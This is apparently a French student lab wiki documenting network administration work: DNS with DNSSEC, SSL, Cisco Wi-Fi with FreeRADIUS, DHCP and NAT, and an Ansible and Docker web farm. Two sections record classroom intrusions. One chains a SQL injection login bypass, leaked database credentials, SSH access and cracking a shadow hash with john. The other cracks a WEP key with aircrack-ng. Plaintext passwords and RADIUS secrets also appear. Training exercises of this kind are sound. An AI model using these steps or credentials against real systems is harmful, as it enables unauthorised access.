Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
